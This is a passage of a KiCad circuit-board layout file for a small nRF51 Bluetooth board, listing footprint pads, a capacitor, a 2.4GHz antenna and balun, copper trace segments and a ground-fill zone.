circle (at 1.2 0) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 38 \"Net-(U1-PadE8)\"))\n    (pad F8 smd circle (at 1.2 0.4) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 39 \"Net-(U1-PadF8)\"))\n    (pad G8 smd circle (at 1.2 0.8) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 40 \"Net-(U1-PadG8)\"))\n    (pad H8 smd circle (at 1.2 1.2) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 41 \"Net-(U1-PadH8)\"))\n    (pad J8 smd circle (at 1.2 1.6) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 50 \"Net-(U1-PadJ8)\"))\n    (pad A9 smd circle (at 1.6 -1.6) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask))\n    (pad B9 smd circle (at 1.6 -1.2) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 7 +BATT))\n    (pad C9 smd circle (at 1.6 -0.8) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 2 GND))\n    (pad D9 smd circle (at 1.6 -0.4) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 10 LED))\n    (pad E9 smd circle (at 1.6 0) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 42 \"Net-(U1-PadE9)\"))\n    (pad F9 smd circle (at 1.6 0.4) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 43 \"Net-(U1-PadF9)\"))\n    (pad G9 smd circle (at 1.6 0.8) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 2 GND))\n    (pad H9 smd circle (at 1.6 1.2) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 51 \"Net-(U1-PadH9)\"))\n  )\n\n  (module Capacitors_SMD:C_0402 (layer F.Cu) (tedit 5415D599) (tstamp 55048D3E)\n    (at 153 106.55 270)\n    (descr \"Capacitor SMD 0402, reflow soldering, AVX (see smccp.pdf)\")\n    (tags \"capacitor 0402\")\n    (path /550483E1)\n    (attr smd)\n    (fp_text reference C5 (at 0 -1.7 270) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value 2n2 (at 0 1.7 270) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.15 -0.6) (end 1.15 -0.6) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.15 0.6) (end 1.15 0.6) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.15 -0.6) (end -1.15 0.6) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 1.15 -0.6) (end 1.15 0.6) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 0.25 -0.475) (end -0.25 -0.475) (layer F.SilkS) (width 0.15))\n    (fp_line (start -0.25 0.475) (end 0.25 0.475) (layer F.SilkS) (width 0.15))\n    (pad 1 smd rect (at -0.55 0 270) (size 0.6 0.5) (layers F.Cu F.Paste F.Mask)\n      (net 52 \"Net-(C5-Pad1)\"))\n    (pad 2 smd rect (at 0.55 0 270) (size 0.6 0.5) (layers F.Cu F.Paste F.Mask)\n      (net 2 GND))\n    (model Capacitors_SMD.3dshapes/C_0402.wrl\n      (at (xyz 0 0 0))\n      (scale (xyz 1 1 1))\n      (rotate (xyz 0 0 0))\n    )\n  )\n\n  (module ANT:ANT-2.4GHz (layer F.Cu) (tedit 54517711) (tstamp 55049531)\n    (at 149.35 106.95 90)\n    (path /55047C3D)\n    (fp_text reference ANT1 (at -2.5 1.5 90) (layer F.SilkS)\n      (effects (font (size 0.4 0.4) (thickness 0.04)))\n    )\n    (fp_text value ANT-2.4GHz (at -2 2 90) (layer F.SilkS)\n      (effects (font (size 0.4 0.4) (thickness 0.04)))\n    )\n    (pad 1 smd rect (at 0 0 90) (size 0.9 4.9) (layers F.Cu)\n      (net 2 GND))\n    (pad 3 smd rect (at 2.05 -2.7 90) (size 5 0.5) (layers F.Cu))\n    (pad 2 smd rect (at 2.1 0 90) (size 0.5 4.9) (layers F.Cu)\n      (net 53 \"Net-(ANT1-Pad2)\"))\n    (pad 3 smd rect (at 4.3 -1.13 90) (size 0.5 2.64) (layers F.Cu))\n    (pad 3 smd rect (at 6.8 -1.13 90) (size 0.5 2.64) (layers F.Cu))\n    (pad 3 smd rect (at 5.55 -0.06 90) (size 2 0.5) (layers F.Cu))\n    (pad 3 smd rect (at 7.9 -2.7 90) (size 2.7 0.5) (layers F.Cu))\n    (pad 3 smd rect (at 12.6 -2.7 90) (size 2.7 0.5) (layers F.Cu))\n    (pad 3 smd rect (at 9 -1.13 90) (size 0.5 2.64) (layers F.Cu))\n    (pad 3 smd rect (at 11.5 -1.13 90) (size 0.5 2.64) (layers F.Cu))\n    (pad 3 smd rect (at 10.25 -0.06 90) (size 2 0.5) (layers F.Cu))\n    (pad 3 smd rect (at 13.7 -0.48 90) (size 0.5 3.94) (layers F.Cu))\n  )\n\n  (module NRF51:BAL-NRF02D3 (layer F.Cu) (tedit 550C7CF1) (tstamp 55048D47)\n    (at 153.65 104.55 180)\n    (path /550480A2)\n    (fp_text reference U2 (at 0 1.95 180) (layer F.SilkS)\n      (effects (font (size 1.2 1.2) (thickness 0.2)))\n    )\n    (fp_text value BAL-NRF02D3 (at 0 -1.95 180) (layer F.SilkS)\n      (effects (font (size 1.2 1.2) (thickness 0.2)))\n    )\n    (fp_circle (center 0.75 -1.25) (end 1 -1.25) (layer F.SilkS) (width 0.15))\n    (fp_line (start -1 -0.75) (end -1 0.75) (layer F.SilkS) (width 0.2))\n    (fp_line (start -1 0.75) (end 1 0.75) (layer F.SilkS) (width 0.2))\n    (fp_line (start 1 0.75) (end 1 -0.75) (layer F.SilkS) (width 0.2))\n    (fp_line (start 1 -0.75) (end -1 -0.75) (layer F.SilkS) (width 0.2))\n    (pad A3 smd circle (at -0.5 -0.25 180) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 12 \"Net-(U1-PadD1)\"))\n    (pad B3 smd circle (at -0.5 0.25 180) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 11 \"Net-(U1-PadC1)\"))\n    (pad A2 smd circle (at 0 -0.25 180) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 52 \"Net-(C5-Pad1)\"))\n    (pad A1 smd circle (at 0.5 -0.25 180) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 53 \"Net-(ANT1-Pad2)\"))\n    (pad B1 smd circle (at 0.5 0.25 180) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 2 GND))\n  )\n\n  (segment (start 155.7212 102.5342) (end 155.2084 102.0214) (width 0.1016) (layer F.Cu) (net 1))\n  (segment (start 155.7212 103.5306) (end 155.7212 102.5342) (width 0.1016) (layer F.Cu) (net 1))\n  (segment (start 155.137 101.95) (end 155.2084 102.0214) (width 0.1016) (layer F.Cu) (net 1) (tstamp 55048FFD))\n  (segment (start 153.75 101.95) (end 155.137 101.95) (width 0.1016) (layer F.Cu) (net 1))\n  (segment (start 156.947646 104.7306) (end 156.7306 104.7306) (width 0.1016) (layer F.Cu) (net 2))\n  (segment (start 156.7306 104.7306) (end 156.5212 104.5212) (width 0.1016) (layer F.Cu) (net 2))\n  (segment (start 156.5212 104.5212) (end 156.5212 104.072021) (width 0.1016) (layer F.Cu) (net 2))\n  (segment (start 156.5212 104.072021) (end 156.5212 103.9306) (width 0.1016) (layer F.Cu) (net 2))\n  (segment (start 156.1212 106.3306) (end 156.5212 105.9306) (width 0.1016) (layer F.Cu) (net 2))\n  (segment (start 156.5212 105.9306) (end 156.9212 105.9306) (width 0.1016) (layer F.Cu) (net 2))\n  (segment (start 157.3212 105.9306) (end 156.9212 105.9306) (width 0.1016) (layer F.Cu) (net 2))\n  (segment (start 157.7212 104.7306) (end 156.947646 104.7306) (width 0.1016) (layer F.Cu) (net 2))\n  (segment (start 156.5212 103.9306) (end 155.3212 103.9306) (width 0.1016) (layer F.Cu) (net 2))\n  (segment (start 156.9212 104.757046) (end 156.9212 105.9306) (width 0.1016) (layer F.Cu) (net 2))\n  (segment (start 156.947646 104.7306) (end 156.9212 104.757046) (width 0.1016) (layer F.Cu) (net 2))\n  (segment (start 157.7212 104.7306) (end 158.1212 104.3306) (width 0.1016) (layer F.Cu) (net 2))\n  (segment (start 158.1212 104.3306) (end 158.5212 104.3306) (width 0.1016) (layer F.Cu) (net 2))\n  (segment (start 161.2265 103.4796) (end 161.7726 104.0257) (width 0.1016) (layer F.Cu) (net 2))\n  (segment (start 159.3722 103.4796) (end 161.2265 103.4796) (width 0.1016) (layer F.Cu) (net 2))\n  (segment (start 161.7726 104.0257) (end 162.0266 104.0257) (width 0.1016) (layer F.Cu) (net 2))\n  (segment (start 159.554 101.0626) (end 159.554 102.1588) (width 0.1016) (layer F.Cu) (net 2))\n  (segment (start 159.554 100.711) (end 159.554 101.0626) (width 0.1016) (layer F.Cu) (net 2))\n  (segment (start 159.3722 102.6922) (end 159.3722 103.4796) (width 0.1016) (layer F.Cu) (net 2))\n  (segment (start 159.554 102.5104) (end 159.3722 102.6922) (width 0.1016) (layer F.Cu) (net 2))\n  (segment (start 159.554 102.1588) (end 159.554 102.5104) (width 0.1016) (layer F.Cu) (net 2))\n  (segment (start 159.3722 103.621021) (end 159.3722 103.4796) (width 0.1016) (layer F.Cu) (net 2))\n  (segment (start 158.5212 104.3306) (end 158.662621 104.3306) (width 0.1016) (layer F.Cu) (net 2))\n  (segment (start 158.662621 104.3306) (end 159.3722 103.621021) (width 0.1016) (layer F.Cu) (net 2))\n  (segment (start 155.0306 103.9306) (end 154.15 103.05) (width 0.1016) (layer F.Cu) (net 2) (tstamp 55048FDD))\n  (segment (start 154.15 103.05) (end 153.75 103.05) (width 0.1016) (layer F.Cu) (net 2) (tstamp 55048FEF))\n  (segment (start 155.3212 103.9306) (end 155.0306 103.9306) (width 0.1016) (layer F.Cu) (net 2))\n  (segment (start 154.15 107.1) (end 153 107.1) (width 0.1016) (layer F.Cu) (net 2))\n  (segment (start 160.6042 108.3542) (end 160.6042 109.1946) (width 0.1016) (layer F.Cu) (net 2) (tstamp 5504935E))\n  (segment (start 158.5212 105.9306) (end 159.05 105.9306) (width 0.1016) (layer F.Cu) (net 2))\n  (segment (start 160.85 105.05) (end 159.4 105.05) (width 0.1016) (layer F.Cu) (net 2) (tstamp 55049373))\n  (segment (start 159.4 105.05) (end 159.05 105.4) (width 0.1016) (layer F.Cu) (net 2) (tstamp 55049377))\n  (segment (start 159.05 105.4) (end 159.05 105.9306) (width 0.1016) (layer F.Cu) (net 2) (tstamp 55049378))\n  (segment (start 161.8743 104.0257) (end 160.85 105.05) (width 0.1016) (layer F.Cu) (net 2) (tstamp 55049366))\n  (segment (start 162.0266 104.0257) (end 161.8743 104.0257) (width 0.1016) (layer F.Cu) (net 2))\n  (segment (start 149.5 107.1) (end 149.35 106.95) (width 0.1016) (layer F.Cu) (net 2) (tstamp 5504964A) (status 30))\n  (segment (start 149.5 107.1) (end 149.35 106.95) (width 0.254) (layer F.Cu) (net 2) (tstamp 5504967F) (status 30))\n  (segment (start 153 107.1) (end 149.5 107.1) (width 0.254) (layer F.Cu) (net 2) (status 20))\n  (segment (start 158.4436 100.7214) (end 158.454 100.711) (width 0.1016) (layer F.Cu) (net 3))\n  (segment (start 157.0084 100.7214) (end 158.4436 100.7214) (width 0.1016) (layer F.Cu) (net 3))\n  (segment (start 156.6786 100.7214) (end 157.0084 100.7214) (width 0.1016) (layer F.Cu) (net 3))\n  (segment (start 156.1084 101.2916) (end 156.6786 100.7214) (width 0.1016) (layer F.Cu) (net 3))\n  (segment (start 156.1084 103.5178) (end 156.1084 101.2916) (width 0.1016) (layer F.Cu) (net 3))\n  (segment (start 156.1212 103.5306) (end 156.1084 103.5178) (width 0.1016) (layer F.Cu) (net 3))\n  (segment (start 156.5212 103.389179) (end 157.014979 102.8954) (width 0.1016) (layer F.Cu) (net 4))\n  (segment (start 156.5212 103.5306) (end 156.5212 103.389179) (width 0.1016) (layer F.Cu) (net 4))\n  (segment (start 157.6674 102.8954) (end 158.404 102.1588) (width 0.1016) (layer F.Cu) (net 4))\n  (segment (start 158.404 102.1588) (end 158.454 102.1588) (width 0.1016) (layer F.Cu) (net 4))\n  (segment (start 157.014979 102.8954) (end 157.6674 102.8954) (width 0.1016) (layer F.Cu) (net 4))\n  (segment (start 154.45 106) (end 154.9194 105.5306) (width 0.1016) (layer F.Cu) (net 5) (tstamp 5504901F))\n  (segment (start 154.9194 105.5306) (end 155.3212 105.5306) (width 0.1016) (layer F.Cu) (net 5) (tstamp 55049021))\n  (segment (start 154.15 106) (end 154.45 106) (width 0.1016) (layer F.Cu) (net 5))\n  (segment (start 160.1717 105.9307) (end 160.0454 105.8044) (width 0.1016) (layer F.Cu) (net 6))\n  (segment (start 162.0266 105.9307) (end 160.1717 105.9307) (width 0.1016) (layer F.Cu) (net 6))\n  (segment (start 159 99.9) (end 159.05 99.9) (width 0.1016) (layer F.Cu) (net 7))\n  (segment (start 159.35 99.6) (end 161.2 99.6) (width 0.1016) (layer F.Cu) (net 7))\n  (segment (start 158.25 111.15) (end 158.0642 110.9642) (width 0.1016) (layer F.Cu) (net 7))\n  (segment (start 159.05 99.9) (end 159.35 99.6) (width 0.1016) (layer F.Cu) (net 7))\n  (segment (start 161.2 99.6) (end 163.35 101.75) (width 0.1016) (layer F.Cu) (net 7))\n  (segment (start 163.35 101.75) (end 163.35 110.35) (width 0.1016) (layer F.Cu) (net 7))\n  (segment (start 163.35 110.35) (end 162.55 111.15) (width 0.1016) (layer F.Cu) (net 7))\n  (segment (start 158.0642 110.9642) (end 158.0642 109.1946) (width 0.1016) (layer F.Cu) (net 7))\n  (segment (start 162.55 111.15) (end 158.25 111.15) (width 0.1016) (layer F.Cu) (net 7))\n  (segment (start 158.5212 103.9306) (end 158.1212 103.9306) (width 0.1016) (layer F.Cu) (net 7))\n  (segment (start 158.0642 109.347) (end 158.0642 109.1946) (width 0.1016) (layer F.Cu) (net 7))\n  (segment (start 159 99.9) (end 159 103.593221) (width 0.1016) (layer F.Cu) (net 7))\n  (segment (start 158.662621 103.9306) (end 158.5212 103.9306) (width 0.1016) (layer F.Cu) (net 7))\n  (segment (start 154.1 99.6) (end 158.7 99.6) (width 0.1016) (layer F.Cu) (net 7))\n  (segment (start 153 102.3) (end 153 100.7) (width 0.1016) (layer F.Cu) (net 7))\n  (segment (start 153.2 102.5) (end 153 102.3) (width 0.1016) (layer F.Cu) (net 7))\n  (segment (start 158.7 99.6) (end 159 99.9) (width 0.1016) (layer F.Cu) (net 7))\n  (segment (start 154.2906 102.5) (end 153.2 102.5) (width 0.1016) (layer F.Cu) (net 7))\n  (segment (start 159 103.593221) (end 158.662621 103.9306) (width 0.1016) (layer F.Cu) (net 7))\n  (segment (start 153 100.7) (end 154.1 99.6) (width 0.1016) (layer F.Cu) (net 7))\n  (segment (start 155.3212 103.5306) (end 154.2906 102.5) (width 0.1016) (layer F.Cu) (net 7))\n  (segment (start 155.7212 108.9976) (end 155.5242 109.1946) (width 0.1016) (layer F.Cu) (net 8))\n  (segment (start 155.7212 106.7306) (end 155.7212 108.9976) (width 0.1016) (layer F.Cu) (net 8))\n  (segment (start 152.9842 109.0676) (end 152.9842 109.1946) (width 0.1016) (layer F.Cu) (net 9))\n  (segment (start 152.9842 109.1946) (end 152.9842 109.0422) (width 0.1016) (layer F.Cu) (net 9))\n  (segment (start 155.2018 106.85) (end 155.7212 106.3306) (width 0.1016) (layer F.Cu) (net 9) (tstamp 55049280))\n  (segment (start 155.1 106.95) (end 155.2 106.85) (width 0.1016) (layer F.Cu) (net 9))\n  (segment (start 155.1 107.35) (end 155.1 106.95) (width 0.1016) (layer F.Cu) (net 9))\n  (segment (start 154.55 107.9) (end 155.1 107.35) (width 0.1016) (layer F.Cu) (net 9))\n  (segment (start 154.1264 107.9) (end 154.55 107.9) (width 0.1016) (layer F.Cu) (net 9))\n  (segment (start 152.9842 109.0422) (end 154.1264 107.9) (width 0.1016) (layer F.Cu) (net 9))\n  (segment (start 155.2 106.85) (end 155.2018 106.85) (width 0.1016) (layer F.Cu) (net 9))\n  (segment (start 160.0454 104.3044) (end 159.4938 104.3044) (width 0.1016) (layer F.Cu) (net 10))\n  (segment (start 158.662621 104.7306) (end 158.5212 104.7306) (width 0.1016) (layer F.Cu) (net 10))\n  (segment (start 159.0676 104.7306) (end 158.662621 104.7306) (width 0.1016) (layer F.Cu) (net 10))\n  (segment (start 159.4938 104.3044) (end 159.0676 104.7306) (width 0.1016) (layer F.Cu) (net 10))\n  (segment (start 154.1806 104.3306) (end 154.15 104.3) (width 0.1016) (layer F.Cu) (net 11) (tstamp 5504938B))\n  (segment (start 155.3212 104.3306) (end 154.1806 104.3306) (width 0.1016) (layer F.Cu) (net 11))\n  (segment (start 154.2194 104.7306) (end 154.15 104.8) (width 0.1016) (layer F.Cu) (net 12) (tstamp 55049388))\n  (segment (start 155.3212 104.7306) (end 154.2194 104.7306) (width 0.1016) (layer F.Cu) (net 12))\n  (segment (start 155.3212 105.1306) (end 154.7194 105.1306) (width 0.1016) (layer F.Cu) (net 52))\n  (segment (start 154.7194 105.1306) (end 154.6 105.25) (width 0.1016) (layer F.Cu) (net 52))\n  (segment (start 154.6 105.25) (end 153.65 105.25) (width 0.1016) (layer F.Cu) (net 52))\n  (segment (start 153.65 105.25) (end 153.65 104.8) (width 0.1016) (layer F.Cu) (net 52) (tstamp 5504901A))\n  (segment (start 153.6 105.3) (end 153.65 105.25) (width 0.1016) (layer F.Cu) (net 52) (tstamp 55049386))\n  (segment (start 153 105.9) (end 153.6 105.3) (width 0.1016) (layer F.Cu) (net 52) (tstamp 55049018))\n  (segment (start 153 106) (end 153 105.9) (width 0.1016) (layer F.Cu) (net 52))\n  (segment (start 149.4 104.8) (end 149.35 104.85) (width 0.1016) (layer F.Cu) (net 53) (tstamp 55049543) (status 30))\n  (segment (start 153.1 104.85) (end 153.15 104.8) (width 0.254) (layer F.Cu) (net 53) (tstamp 550495A4))\n  (segment (start 149.35 104.85) (end 153.1 104.85) (width 0.254) (layer F.Cu) (net 53) (status 10))\n\n  (zone (net 2) (net_name GND) (layer F.Cu) (tstamp 550C7F83) (hatch edge 0.508)\n    (connect_pads (clearance 0.2032))\n    (min_thickness 0.1524)\n    (fill yes (arc_segments 16) (thermal_gap 0.2032) (thermal_bridge_width 0.15494) (smoothing chamfer) (radius 0.5))\n    (polygon\n      (pts\n        (xy 164 111.85) (xy 151.5 111.85) (xy 151.5 97.15) (xy 164 97.15)\n      )\n    )\n    (filled_polygon\n      (pts\n        (xy 163.9238 111.318437) (xy 163.468437 111.7738) (xy 152.031563 111.7738) (xy 151.5762 111.318437) (xy 151.5762 107.6794)\n        (xy 151.744424 107.6794) (xy 151.855576 107.6794) (xy 151.958267 107.636864) (xy 152.036864 107.558267) (xy 152.0794 107.455576)\n        (xy 152.0794 107.02112) (xy 152.00955 106.95127) (xy 151.5762 106.95127) (xy 151.5762 106.94873) (xy 152.00955 106.94873)\n        (xy 152.0794 106.87888) (xy 152.0794 106.444424) (xy 152.036864 106.341733) (xy 151.958267 106.263136) (xy 151.855576 106.2206)\n        (xy 151.744424 106.2206) (xy 151.5762 106.2206) (xy 151.5762 105.3794) (xy 151.855576 105.3794) (xy 151.958267 105.336864)\n        (xy 152.036864 105.258267) (xy 152.037637 105.2564) (xy 153.1 105.2564) (xy 153.195652 105.237373) (xy 153.012426 105.4206)\n        (xy 152.694424 105.4206) (xy 152.591733 105.463136) (xy 152.513136 105.541733) (xy 152.4706 105.644424) (xy 152.4706 105.755576)\n        (xy 152.4706 106.355576) (xy 152.513136 106.458267) (xy 152.591733 106.536864) (xy 152.623446 106.55) (xy 152.591733 106.563136)\n        (xy 152.513136 106.641733) (xy 152.4706 106.744424) (xy 152.4706 107.02888) (xy 152.54045 107.09873) (xy 152.99873 107.09873)\n        (xy 152.99873 107.07873) (xy 153.00127 107.07873) (xy 153.00127 107.09873) (xy 153.45955 107.09873) (xy 153.5294 107.02888)\n        (xy 153.5294 106.744424) (xy 153.486864 106.641733) (xy 153.408267 106.563136) (xy 153.376553 106.55) (xy 153.408267 106.536864)\n        (xy 153.486864 106.458267) (xy 153.5294 106.355576) (xy 153.5294 106.244424) (xy 153.5294 105.837574) (xy 153.6206 105.746374)\n        (xy 153.6206 105.755576) (xy 153.6206 106.355576) (xy 153.663136 106.458267) (xy 153.741733 106.536864) (xy 153.773446 106.55)\n        (xy 153.741733 106.563136) (xy 153.663136 106.641733) (xy 153.6206 106.744424) (xy 153.6206 107.02888) (xy 153.69045 107.09873)\n        (xy 154.14873 107.09873) (xy 154.14873 107.07873) (xy 154.15127 107.07873) (xy 154.15127 107.09873) (xy 154.60955 107.09873)\n        (xy 154.6794 107.02888) (xy 154.6794 106.744424) (xy 154.636864 106.641733) (xy 154.558267 106.563136) (xy 154.526553 106.55)\n        (xy 154.558267 106.536864) (xy 154.636864 106.458267) (xy 154.6794 106.355576) (xy 154.6794 106.244424) (xy 154.6794 106.236217)\n        (xy 154.683487 106.233487) (xy 154.7968 106.120174) (xy 154.7968 106.634168) (xy 154.872829 106.710197) (xy 154.866513 106.716513)\n        (xy 154.794935 106.823638) (xy 154.7698 106.95) (xy 154.7698 107.213226) (xy 154.6794 107.303626) (xy 154.6794 107.17112)\n        (xy 154.60955 107.10127) (xy 154.15127 107.10127) (xy 154.15127 107.12127) (xy 154.14873 107.12127) (xy 154.14873 107.10127)\n        (xy 153.69045 107.10127) (xy 153.6206 107.17112) (xy 153.6206 107.455576) (xy 153.663136 107.558267) (xy 153.741733 107.636864)\n        (xy 153.844424 107.6794) (xy 153.880026 107.6794) (xy 153.5294 108.030025) (xy 153.5294 107.455576) (xy 153.5294 107.17112)\n        (xy 153.45955 107.10127) (xy 153.00127 107.10127) (xy 153.00127 107.60955) (xy 153.07112 107.6794) (xy 153.194424 107.6794)\n        (xy 153.305576 107.6794) (xy 153.408267 107.636864) (xy 153.486864 107.558267) (xy 153.5294 107.455576) (xy 153.5294 108.030025)\n        (xy 153.527705 108.03172) (xy 153.421607 107.960828) (xy 152.99873 107.876712) (xy 152.99873 107.60955) (xy 152.99873 107.10127)\n        (xy 152.54045 107.10127) (xy 152.4706 107.17112) (xy 152.4706 107.455576) (xy 152.513136 107.558267) (xy 152.591733 107.636864)\n        (xy 152.694424 107.6794) (xy 152.805576 107.6794) (xy 152.92888 107.6794) (xy 152.99873 107.60955) (xy 152.99873 107.876712)\n        (xy 152.9842 107.873822) (xy 152.546793 107.960828) (xy 152.175977 108.208599) (xy 151.928206 108.579415) (xy 151.8412 109.016822)\n        (xy 151.8412 109.372378) (xy 151.928206 109.809785) (xy 152.175977 110.180601) (xy 152.546793 110.428372) (xy 152.9842 110.515378)\n        (xy 153.421607 110.428372) (xy 153.792423 110.180601) (xy 154.040194 109.809785) (xy 154.1272 109.372378) (xy 154.1272 109.016822)\n        (xy 154.040194 108.579415) (xy 153.989631 108.503742) (xy 154.263173 108.2302) (xy 154.55 108.2302) (xy 154.676362 108.205065)\n        (xy 154.783487 108.133487) (xy 155.333483 107.583489) (xy 155.333486 107.583487) (xy 155.333487 107.583487) (xy 155.391 107.497411)\n        (xy 155.391 107.900317) (xy 155.086793 107.960828) (xy 154.715977 108.208599) (xy 154.468206 108.579415) (xy 154.3812 109.016822)\n        (xy 154.3812 109.372378) (xy 154.468206 109.809785) (xy 154.715977 110.180601) (xy 155.086793 110.428372) (xy 155.5242 110.515378)\n        (xy 155.961607 110.428372) (xy 156.332423 110.180601) (xy 156.580194 109.809785) (xy 156.6672 109.372378) (xy 156.6672 109.016822)\n        (xy 156.580194 108.579415) (xy 156.332423 108.208599) (xy 156.0514 108.020825) (xy 156.0514 107.2532) (xy 158.434168 107.2532)\n        (xy 159.0532 106.634168) (xy 159.0532 105.0608) (xy 159.0676 105.0608) (xy 159.193962 105.035665) (xy 159.301087 104.964087)\n        (xy 159.463138 104.802035) (xy 159.539824 104.8338) (xy 159.650976 104.8338) (xy 160.550976 104.8338) (xy 160.653667 104.791264)\n        (xy 160.732264 104.712667) (xy 160.7748 104.609976) (xy 160.7748 104.498824) (xy 160.7748 103.998824) (xy 160.732264 103.896133)\n        (xy 160.653667 103.817536) (xy 160.550976 103.775) (xy 160.439824 103.775) (xy 160.1334 103.775) (xy 160.1334 102.464376)\n        (xy 160.1334 102.353224) (xy 160.1334 102.22992) (xy 160.1334 102.08768) (xy 160.1334 101.964376) (xy 160.1334 101.853224)\n        (xy 160.1334 101.016576) (xy 160.1334 100.905424) (xy 160.1334 100.78212) (xy 160.1334 100.63988) (xy 160.1334 100.516576)\n        (xy 160.1334 100.405424) (xy 160.090864 100.302733) (xy 160.012267 100.224136) (xy 159.909576 100.1816) (xy 159.62512 100.1816)\n        (xy 159.55527 100.25145) (xy 159.55527 100.70973) (xy 160.06355 100.70973) (xy 160.1334 100.63988) (xy 160.1334 100.78212)\n        (xy 160.06355 100.71227) (xy 159.55527 100.71227) (xy 159.55527 101.17055) (xy 159.62512 101.2404) (xy 159.909576 101.2404)\n        (xy 160.012267 101.197864) (xy 160.090864 101.119267) (xy 160.1334 101.016576) (xy 160.1334 101.853224) (xy 160.090864 101.750533)\n        (xy 160.012267 101.671936) (xy 159.909576 101.6294) (xy 159.62512 101.6294) (xy 159.55527 101.69925) (xy 159.55527 102.15753)\n        (xy 160.06355 102.15753) (xy 160.1334 102.08768) (xy 160.1334 102.22992) (xy 160.06355 102.16007) (xy 159.55527 102.16007)\n        (xy 159.55527 102.61835) (xy 159.62512 102.6882) (xy 159.909576 102.6882) (xy 160.012267 102.645664) (xy 160.090864 102.567067)\n        (xy 160.1334 102.464376) (xy 160.1334 103.775) (xy 159.539824 103.775) (xy 159.437133 103.817536) (xy 159.358536 103.896133)\n        (xy 159.316 103.998824) (xy 159.316 104.033704) (xy 159.260313 104.070913) (xy 159.0532 104.278026) (xy 159.0532 104.006995)\n        (xy 159.233487 103.826708) (xy 159.305065 103.719583) (xy 159.3302 103.593221) (xy 159.330201 103.593221) (xy 159.3302 103.593215)\n        (xy 159.3302 102.6882) (xy 159.48288 102.6882) (xy 159.55273 102.61835) (xy 159.55273 102.16007) (xy 159.53273 102.16007)\n        (xy 159.53273 102.15753) (xy 159.55273 102.15753) (xy 159.55273 101.69925) (xy 159.48288 101.6294) (xy 159.3302 101.6294)\n        (xy 159.3302 101.2404) (xy 159.48288 101.2404) (xy 159.55273 101.17055) (xy 159.55273 100.71227) (xy 159.53273 100.71227)\n        (xy 159.53273 100.70973) (xy 159.55273 100.70973) (xy 159.55273 100.25145) (xy 159.48288 100.1816) (xy 159.3302 100.1816)\n        (xy 159.3302 100.086774) (xy 159.486774 99.9302) (xy 161.063226 99.9302) (xy 163.0198 101.886774) (xy 163.0198 110.213226)\n        (xy 163.0045 110.228526) (xy 163.0045 106.430776) (xy 163.0045 106.319624) (xy 163.0045 105.430624) (xy 163.0045 104.525776)\n        (xy 163.0045 104.09682) (xy 163.0045 103.95458) (xy 163.0045 103.525624) (xy 162.961964 103.422933) (xy 162.883367 103.344336)\n        (xy 162.780676 103.3018) (xy 162.669524 103.3018) (xy 162.09772 103.3018) (xy 162.02787 103.37165) (xy 162.02787 104.02443)\n        (xy 162.93465 104.02443) (xy 163.0045 103.95458) (xy 163.0045 104.09682) (xy 162.93465 104.02697) (xy 162.02787 104.02697)\n        (xy 162.02787 104.67975) (xy 162.09772 104.7496) (xy 162.669524 104.7496) (xy 162.780676 104.7496) (xy 162.883367 104.707064)\n        (xy 162.961964 104.628467) (xy 163.0045 104.525776) (xy 163.0045 105.430624) (xy 162.961964 105.327933) (xy 162.883367 105.249336)\n        (xy 162.780676 105.2068) (xy 162.669524 105.2068) (xy 162.02533 105.2068) (xy 162.02533 104.67975) (xy 162.02533 104.02697)\n        (xy 162.02533 104.02443) (xy 162.02533 103.37165) (xy 161.95548 103.3018) (xy 161.383676 103.3018) (xy 161.272524 103.3018)\n        (xy 161.169833 103.344336) (xy 161.091236 103.422933) (xy 161.0487 103.525624) (xy 161.0487 103.95458) (xy 161.11855 104.02443)\n        (xy 162.02533 104.02443) (xy 162.02533 104.02697) (xy 161.11855 104.02697) (xy 161.0487 104.09682) (xy 161.0487 104.525776)\n        (xy 161.091236 104.628467) (xy 161.169833 104.707064) (xy 161.272524 104.7496) (xy 161.383676 104.7496) (xy 161.95548 104.7496)\n        (xy 162.02533 104.67975) (xy 162.02533 105.2068) (xy 161.272524 105.2068) (xy 161.169833 105.249336) (xy 161.091236 105.327933)\n        (xy 161.0487 105.430624) (xy 161.0487 105.541776) (xy 161.0487 105.6005) (xy 160.7748 105.6005) (xy 160.7748 105.498824)\n        (xy 160.732264 105.396133) (xy 160.653667 105.317536) (xy 160.550976 105.275) (xy 160.439824 105.275) (xy 159.539824 105.275)\n        (xy 159.437133 105.317536) (xy 159.358536 105.396133) (xy 159.316 105.498824) (xy 159.316 105.609976) (xy 159.316 106.109976)\n        (xy 159.358536 106.212667) (xy 159.437133 106.291264) (xy 159.539824 106.3338) (xy 159.650976 106.3338) (xy 160.550976 106.3338)\n        (xy 160.653667 106.291264) (xy 160.684031 106.2609) (xy 161.0487 106.2609) (xy 161.0487 106.430776) (xy 161.091236 106.533467)\n        (xy 161.169833 106.612064) (xy 161.272524 106.6546) (xy 161.383676 106.6546) (xy 162.780676 106.6546) (xy 162.883367 106.612064)\n        (xy 162.961964 106.533467) (xy 163.0045 106.430776) (xy 163.0045 110.228526) (xy 162.413226 110.8198) (xy 